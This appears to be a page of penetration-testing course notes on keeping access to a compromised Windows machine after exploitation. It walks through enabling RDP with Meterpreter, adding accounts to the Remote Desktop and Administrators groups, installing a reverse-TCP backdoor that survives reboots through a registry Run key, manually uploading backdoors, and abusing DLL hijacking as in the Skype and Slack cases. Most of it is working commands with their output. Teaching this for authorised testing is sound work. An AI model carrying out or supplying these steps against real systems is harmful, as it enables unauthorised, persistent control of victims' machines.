:meterpreter > run getgui -e [*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator [*] Carloz Perez carloz_perez@darkoperator.com [*] Enabling Remote Desktop [*] RDP is disabled; enabling it ... [*] Setting Terminal Services service startup mode [*] The Terminal Services service is not set to auto, changing it to auto ... [*] Opening port in local firewall if necessary [*] For cleanup use command: run multi_console_command -rc /root./msf5/logs/scr meterpreter >
Here we can see we have successfully enabled RDP and we also set it automatically starts when the user logs in.
Enabling RDP on the machine is not all. If the target user (the one we know the credentials for) is not allowed to connect through RDP, we will have to grant him this privilege by adding him to the Remote Desktop Users group. Moreover we have to be sure that Windows firewall does not block the connections.
We assume that this group can log in to RDP, in other words that "Allow log on through Remote Desktop Services" Local policy is assigned to the Remote Users group. (See img-132) If the box is hardened this might not be the case.
From the Windows shell we can issue the command:
net localgroup "Remote Desktop Users" els_user /add
where
Remote Desktop User
is the name of the local group we want to add the user to andels_user
is the username.If the command succeed we will get something like this:
C:\Windows\system32>net localgroup "Remote Desktop Users" els_user /add net localgroup "Remote Desktop Users" els_user /add The command completed successfully.
The following snapshots show what happens before and after the command (see img-134)(Picture of victim's remote desktop users being added with us)
We can now check that everything works by trying to establish an RDP connection to the target machine:
rdesktop [IP_ADDRESS] -u [USERNAME] -p [PWD]
Example:
stduser@els:~$ rdesktop 192.168.102.157 -u els_user -p els_pwd Autoselected keyboard map en-us ERROR: CredSSP: Initialize failed, do you have the correct kerberos tgt initialized ? Connection establishing using SSL. WARNING: Remote desktop does not support colour depth 24; falling back to 16
Note: We can use the
net
command to list groups and add users into them. Let's see first how to list all groups with thenet localgroup
command:----------------------------------------------------------------------- *Administrators *Backup Operators *Cryptographic Operators *Distributed COM Users *Event Log Readers *Guests *IIS_IUSRS *Network Configuration Operators *Performance Log Users *Power Users *Remote Desktop Users
If we want to list users within a specific group we just need to add the name of the group at the end of the previous command. For example let's list users in the RPD group: ``` net localgroup "Remote Desktop Users" Alias name Remote Desktop Users Comment Members in this group are granted the right to logon remotely
Members --------------------------------------------------------------------------- els_user The command completed successfully. ```
Now that we have the groups list, we could add the user to one of them. For example we can grant Standard Users with Administrator privileges, by simply adding them in the Administrator group. (see img-138)
C:\Users\els\Downloads>net localgroup "Administrators" stduser /add net localgroup "Administrators" stduser /add The command completed successfully.
Note that you can do the previous steps for all the groups listed before. For example, if you want a remote shell on the system, instead of RDP, you can make sure that Telnet service is enabled, and that your user is in the "TelnetClients" group. This way you can connect back again through Telnet with the same username and password.
Backdoor Our goal is to use Metasploit in order to generate an executable file (backdoor) that will persist through reboots of the victim machine.
Note that we are going to use connect-back backdoors, which means that it will be the victim machine that initiates the connection.
This way, we will avoid issues with dynamic IP addresses or firewalls in the middle.
The disadvantage is that the backdoor will always try a connection to the same IP address and port unless you use a host name obtained through some free DNS service like:
Note: this is the same technique that most malware use and ensures that you can change the binding on the DNS management panel to the point to your IP address.
The exploitation process works this way:
Upload the backdoor on the victim
Execute the file
At prefixed times (i.e. 5-6-10 seconds), it will try to connect back to our listener
Run it automatically at boot
Depending on the OS, this can be done by editing the Windows registry, services, schedules, rc.local, init.d
Thanks to Metasploit, the entire process can be completely automated. We do not have to worry about scripting the file, uploading it or editing the registers and services. What we have to do once we have the meterpreter session, is run one of the scripts we will see in the next sections and then, each time we want to connect back, start a listener on our machine.
Notice that the script only works against Windows machine.
Persistence Before running the script. let us see what options it offers. We can do this from the meterpreter session by running:
run persistence -h
Example:
meterpreter > run persistence -h Meterpreter Script for creating a persistent backdoor on a target host. OPTIONS: -A Automatically start a matching exploit/multi/handler to connect to the agent -L <opt> Location in target host to write payload to, if none %TEMP%, will be used -P <opt> Payload to use, default is windows/meterpreter/reverse_tcp -S Automatically start the agent on boot as a service (with SYSTEM privileges) -T <opt> Alternate executable template to use -U Automatically start the agent when the User logs on -X Automatically start the agent when the system boots -h This help menu -i <opt> The interval in seconds between each connection attempt -p <opt> The port on which the system running Metasploit is listening -r <opt> The IP of the system running Metasploit listening for connection back
As we can see from the previous example, we can customize the script and choose where to upload the file, which payload to use, the interval between each connection attempt, how to start the backdoor and so on.
Let us see which options we will use in order to configure it correctly: -
-A
starts the handler on our machine --X
start the agent at boot --i 5
connection attempt each 5 seconds --p 8080
the port for the connect back --r [IP_Address]
our IP addressOnce we run it, the script output will look like this. As you can see the script automatically creates the backdoor, uploads it and sets the registry keys to start it at boot.
The steps in detail are as follows:
Creating the Payload
Uploading the backdoor file
Executing the backdoor
add the entry in the windows registry
Let's double check that the changes are real. Let's first get the registry value with the
reg
command and then list the files in the path where the backdoor has been uploaded:meterpreter > reg queryval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -v nZvDeQvFvEi Key: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Name: nZvDeQvFvEi Type: REG_SZ Data: C:\Windows\TEMP\flKiuvjYDY.vbs meterpreter > ls C:\\Windows\\TEMP\\fl* Listing: C:\Windows\TEMP\fl* ============================ Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100666/rw-rw-rw- 148427 fil 2016-02-29 11:25:42 -0500 flKiuvjYDY.vbs
Once the process is complete, if we want to get a session on the target machine, we have to start the listener and wait for incoming connections. We can do it by using the
exploit/multi/handler
module.Notice that we have to set the same options set with persistence: same payload, IP address, and local port.
msf exploit(handler) > exploit [*] Started reverse TCP handler on 192.168.102.147:8080 [*] Starting the payload handler... [*] Sending stage (957487 bytes) to 192.168.102.157 [*] Meterpreter session 14 opened (192.168.102.147:8080 -> 192.168.102.157:1039) at 2016-02-29 11:29:55 -0500
In this way each time you need a meterpreter session on the target machine, we only need to start the handler and wait for the victim to connect back.
Since we edited the Windows Registry to start the script at the system boot, we will be able to create the session each time the machine is booted.
Manual Installation Supposed we crafted our own backdoor with msfvenom or any other tool such as [Veil][https://github.com/Veil-Framework/] or [BDF][https://github.com/secretsquirrel/the-backdoor-factory]. Here are the commands to upload, and edit the Registry Keys on your target machine with meterpreter: (see img-155 for results)
Upload the file into the victim machine:
upload [path_to_backdoor_file] [path_on_target]
Example:
upload /root/my_bd.exe D:\\windows
Edit the Windows Registry Key with the reg command, in order to load your file at startup:
reg setval -k [registry_key_path] -d [value_of_the_key] -v [name_of_the_key]
Example:
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -d "C:\Windows\my_bd.exe" -v bd_name
New Users An easy way to create a new user in the system is by running
net user
andnet localgroup
commands.Once you create a new user for yourself, you have to join groups that allow you access to services such as RDP or Telnet and so on.
We have already seen this in the previous slides, so we will jump over these steps.
Another method we can use for maintaining access in many cases, but also for privilege escalation in other, is known as DLL Hijacking, [DLL Preloading][https://support.microsoft.com/en-us/help/2389418/secure-loading-of-libraries-to-prevent-dll-preloading-attacks], or Insecure Library Loading
DLL Hijacking/Preloading DLL Hijacking allow us the ability to abuse a built-in behavior in the way that executables, when launched, search for Dynamic Link Libraries (DLLs) to import. This behavior is known as [DLL Search Order][https://msdn.microsoft.com/en-us/library/windows/desktop/ms682586(v=vs.85).aspx].
When a program is launched, the DLL Search Order in most cases is as follows:
The directory from which the application was launched
The
C:\Windows\System32
directoryThe 16-bit Windows system directory (i.e,
C:\windows\system
)The Windows directory (
C:\windows
)The current directory at the time of execution
Any directories specified by the %PATH% environment variable
As an example to help clarify, let's briefly revisit [a recent case][https://packetstormsecurity.com/files/146325/msskype-dllhijack.txt] of DLL Hijacking in Microsoft's popular communication software, Skype, which when exploited, resulted in a low-privileged user obtaining SYSTEM-level privileges.
Skype, uses a proprietary update mechanism in order to deliver updates to the software, which runs when first installed, and then also runs periodically to check for updates.
When it does so, it launches a second binary (
Updater.exe
) from within the "%ProgramFiles%\Skype\Updater
" directory, which is launched as SYSTEM.This "
Updater.exe
" component, when it finds an update for Skype, would copy or extract a new version of the binary to the "%systemroot%\Temp
" directory as a file named "SKY<abcd>.tmp
" which theUpdater.exe
component would then launch as a separate process.It was then found that the newly created
%systemroot%\Temp\SKY<abcd>.tmp
executable, when launched by the Updater.exe component, would also look for a DLL in the same Temp directory called "UXTheme.dll
", and attempt to import it.Since an attacker could write to the "
%systemroot%\Temp
" directory, it was trivial to replace theUXTheme.dll
with a malicious copy and take control of the target as SYSTEM.Another [example of this][https://www.obscurechannel.com/x42/slack.html], where an application executes another process in order to fetch updates and results in DLL hijacking, was in the popular [Slack][https://en.wikipedia.org/wiki/Slack_(software)] messaging platform.
Although this particular example didn't result in privilege escalation, rather it resulted in obtaining a reverse shell as the current user, and also offered a method of persistence every time the user would launch the "Check for Updates" command from within the Slack client or when the user would simply launch the Slack client.
When launching the Slack executable on Windows, it would search for a DLL called "DNSAPI.dll" from within the
%localappdata%\slack
directory. Since we can write to, or modify files within this directory, it was trivial to replace the DNSAPI.dll with our own malicious copy.Our malicious DLL would then be executed whenever the user clicked on the "Check for Updates" option or when the application itself checked for updates periodically, and results in a meterpreter session. (see img-171)
You can read more about it [here][https://www.obscurechannel.com/x42/slack.html]
There are just a couple examples of [hundreds][https://www.exploit-db.com/dll-hijacking-vulnerable-applications/] of applications that are vulnerable to DLL hijacking.
Finding these instances of vulnerable applications can be done through either manual methods, or using scripts that can help us find these vulnerable applications and DLLs.
One tool we will cover in Labs and Videos accompanying this module, is the "[Process Monitor][https://docs.microsoft.com/en-us/sysinternals/downloads/procmon]" utility from the SysInternals Suite. Using Process Monitor, we can easily identify such applications, and DLLs we can use for this class of vulnerability. (see img-174-177)
The process for manually identifying typical DLL Hijacking opportunities using Process Monitor (procmon) can be summarized as follows:
Create a procmon filter for a specific executable we'd like to investigate, (in this case "RegSrvc.exe"), and also, create a filter for "NAME NOT FOUND" for the Result column do we can quickly filter on relevant entries.
Identify cases where the application is looking for a DLL in a directory which we can write to, or modify.
Drop out modified payload in the writeable directory
Restart the Service, re-launch the application, or wait for the system to be rebooted in the case the executable is in fact associated with a service that starts at boot time, or alternatively, wait for the user to launch the affected application.
(see vids-181,182)
Last updated
Was this helpful?